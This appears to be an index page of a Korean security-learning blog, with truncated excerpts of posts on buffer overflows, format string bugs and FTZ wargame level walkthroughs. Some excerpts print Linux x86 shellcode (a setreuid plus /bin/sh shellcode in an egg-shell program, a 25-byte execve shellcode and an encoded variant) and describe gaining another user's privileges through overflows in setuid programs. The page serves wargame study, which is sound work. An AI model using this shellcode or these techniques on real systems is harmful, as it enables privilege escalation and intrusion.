┏┳━┳┳━━┳━━━┳━━━┳━━━┳━┳━┳━┳━┳━━━┓┃┃ ┃┃ ┃ ━┫ ━┫ ┃ ┃ ┃ ┃ ┃ ━╋┓┃ ┃ ┃ ┃ ┃ ┏━┫ ┃ ┃ ┃┃ ┃ ┃ ┣━ ┃ ━┫ ┃ ┣┓ ┏╋━ ┃┃ ┣━━━┻━━┻━━━┻━━━┻━━━┻━━━┛┗━┛┗━━━┫┃┃Since 2002. W / I / S / E / G / U / Y / S in HackerSchool ┃┃┃http://wiseguys.hackerschool.org wiseguys@hackerschool.org ┃┃┗┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛┃ ┗━━━━━━━━━━━━━━━━━━━━Designed by FiaDot━┛ ━[Document Infomation] ━━━━━━━━━━━━━━━━━━━━━ :: Title :: 버퍼 오버..
#include #include #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\x31\xc0\xb0\xc9\xcd\x80\x89\xc2\x31\xc0\xb0\x46\x31\xdb\x89\xd3\x31\xc9\x66\x89\xd9\xcd\x80\xeb\x50\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x89\xf1\xb2\x30\xcd\x80\x83\x06\x05\x83\x46\x01\x20\x83\x46\x02\x17\x83\x46\x03\x2d\x83\x6e\x0..
25byte shellcode`perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` (%2f) 없는 shellcode \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
LEVEL11의 힌트를 보겠습니다. strcpy만 봐도 이제 BOF 취약점을 이용해야 겠다는 것을 알겠죠? 일단, BOF 취약점을 생각하고 GDB를 통해 리버싱 해보겠습니다. dir을 보면 attackme라고 실행파일이 하나 있습니다. 소스파일은 없고, 덩그러니 있는 것을 보니 위에서 hint를 줬던 소스인가? 하다가 읽기 권한이 있고, setuid 권한이 있습니다. gdb로 소스를 보면 hint에서 나온 소스와 동일한 것을 알 수가 있습니다. 256바이트의 배열을 할당하고 setreuid를 이용해 level12의 권한(3092)를 획득하고 인자값을 할당한 배열에 복사한 후에 출력해 주는 동작을 하고 있습니다. 아래와 같이 프로시저 부분에서 0x108(264)과 0x8(8)을 빼줍니다. 힌트에서 보면 s..
[포맷스트링 취약점]정리 아래의 소스는 아스키 코드표를 출력하는 예제이다. 메모리에 저장된 값과 모니터를 통해 보는 것이 다르다는 것을 보기 위해서 설명을 해보겠다. value 배열에 정수값을 넣었지만 실제로 메모리에는 2진수 값이 들어 있다. 메모리나 하드디스크는 전기가 있고 없음만을 판단할 수 있어서 0과 1로만 데이터를 저장할 수 있기 때문이다. 즉, 화면으로 "a"라는 문자를 본다고 해서 메모리에 "a"라는 문자가 저장돼 있는 것은 아니고, 화면에서 "1"이라는 숫자가 표시된다고 해서 메모리에 "1"이라는 숫자가 저장돼 있지는 않다는 의미이다. 결과 값을 보면, 0부터 계속하여 126까지 Hex와 DEC와 OCT, CHAR을 출력한다. 0에서 31번까지에 해당하는 특수문자는 %c라는 포맷스트링을 ..
level10에서 hint를 보겠습니다. ls -al을 보면 못보던 program이라는 디렉터리입니다. 하지만 root권한이라서 읽지도 못합니다. 분명히 program 안에는 단서가 있을텐데 말입니다. 혹시 몰라서 평소같이 level11을 권한으로 하는 파일을 찾아봤더니, 전혀 없네요.. 다르게 생각해보면 프로그램을 시스템이 시작될 때 자동으로 시작되도록 등록하는 설정에 해당 파일이 있을 수 있으므로 rc.local 파일을 확인해 볼 필요가 있습니다. 그 파일은 /etc/rc.d/rc.local 경로에 있습니다. 이제 rc.local 파일에서 실행파일의 이름과 경로를 알았으니 level10이라는 이름으로 실행중인 프로세스가 있는지 확인해 봅니다. 하지만 level10으로 실행 중인 프로세스는 없다. 즉,..
출처 : WOWHACKER 달고나님
level9 힌트를 보면 bof에 대한 문제라고 미리 알려줍니다. 그리고 소스를 공개하고 있습니다. 파일을 찾아서 ls-al로 확인 결과 읽을 수가 없고 실행만 가능하네요. 다행히 위에 소스를 공개했으니 저 소스를 복사해서 따로 파일을 만들어서 분석 진행 하겠습니다. 위의 소스와 똑같이 bof를 tmp 디렉터리에서 다시 만들었습니다. 물론 권한은 읽기 권한을 주었습니다. 소스 내용을 요약하면 일단, buf, buf2 각각에 배열을 할당하고 fgets함수로 buf를 받습니다. 하지만 바로 밑의 strncmp는 buf2와 "go"의 문자열을 비교하여 앞의 2글자가 맞으면 성공이네요. 하지만 fgets으로 받는 것은 buf이기 때문에 buf2값에 "go"라는 값을 넣어줘야 성공하는 문제입니다. 컴파일 후에 b..
- Total
- Today
- Yesterday
- Cisco Talos
- Yara
- 멋쟁이사자처럼 4기
- MS-Office
- cuckoo-sandbox
- 비트코인
- infostealer
- malware
- 스피어피싱
- AMSI
- 해킹메일
- us-cert
- 한글악성코드
- .wll
- CVE-2018-0798
- Bisonal
- Kimsuky
- CVE-2018-9375
- 위협정보공유
- idapython
- Flybits
- Servey
- Static Analysis Engine
- VirusBulletin
- Decoding
- 출처 : Do it 안드로이드 프로그래밍
- koodous
- 악성코드
- keylogger
- vuln
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |